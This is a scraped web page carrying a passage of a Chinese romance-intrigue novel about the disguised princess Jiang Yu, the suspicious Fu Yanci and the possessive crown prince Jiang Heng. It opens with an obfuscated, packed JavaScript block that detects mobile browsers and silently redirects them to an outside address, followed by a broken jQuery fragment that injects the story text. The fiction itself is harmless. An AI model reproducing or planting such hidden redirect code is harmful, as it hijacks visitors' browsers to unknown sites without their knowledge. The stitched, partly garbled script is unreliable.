;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12803190|133600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好的预感,姜虞连忙关上窗,交代了几句话。 “总之,傅砚辞那边必须让他打消对我身份的怀疑,只要我的身份一日不曾曝光,你便永远都是当朝长公主燕允乐,也只有这个身份,能够保你无忧。”刚回到大燕,姜虞眼下能依靠的也只有她。 时间紧迫,她说完之后便顺着方才的暗门往楼下去了。 大抵是听见了里面的动静,姜虞出来时,外面傅砚辞盯着的人已经藏身到一旁了。 既然傅砚辞对她有所怀疑,那她不如就借着姜衡坐实这怀疑。 她左右看了一眼便往外走去,余光中见一旁躲藏的人暗中跟上,唇角轻轻上扬。 姜虞走出门外,这才看清那暗卫手中拿的东西。 是她送给青枫的发簪。 眉心皱起,姜虞缓步走向那人,还没等她出声,就见那人直直转身往一旁的巷子走去。 窄小的巷子中,姜衡背对着她,不知站了多久。 “殿下要找我,又何须拿青枫要挟?” 暗巷之中,姜虞质问的声音清晰入耳。 姜衡冷笑着转过身来,低下眼眸凝视姜虞,语气十分不善。 “阿虞将孤的话当耳旁风,孤舍不得动你,便只好从青枫入手。” 他的声音并未刻意压低,足以让不远处紧跟着姜虞的那人听见。 但下一瞬又俯身贴近姜虞耳边。 “阿虞今日与他厮混一处,玩得可还开心?孤在你们身后跟了一路,看阿虞的模样,应当是满意极了?” 心中骤然一紧,姜虞僵硬着身子不曾答话。 是她大意了,竟丝毫不曾察觉姜衡在暗中盯着。 好在他并未发现她与梁静姝见面一事,省了些麻烦。 “殿下交代之事,自是不敢忘。”姜虞轻声回道。 直到身后细微的脚步逐渐撤离,姜虞才拉开两人之间的距离。 这一举动落在姜衡眼底更是刺痛他。 与此同时,另一边望月楼中,有位男子也极其不爽。 “她绕了那么大一圈,就是为了与姜衡见面?” 眼前的男子点了点头,傅砚辞周身的空气更冷了几分。 等到姜虞再度回到三层房间之时,饭菜几乎都快凉了。 “公主舍得回来了?”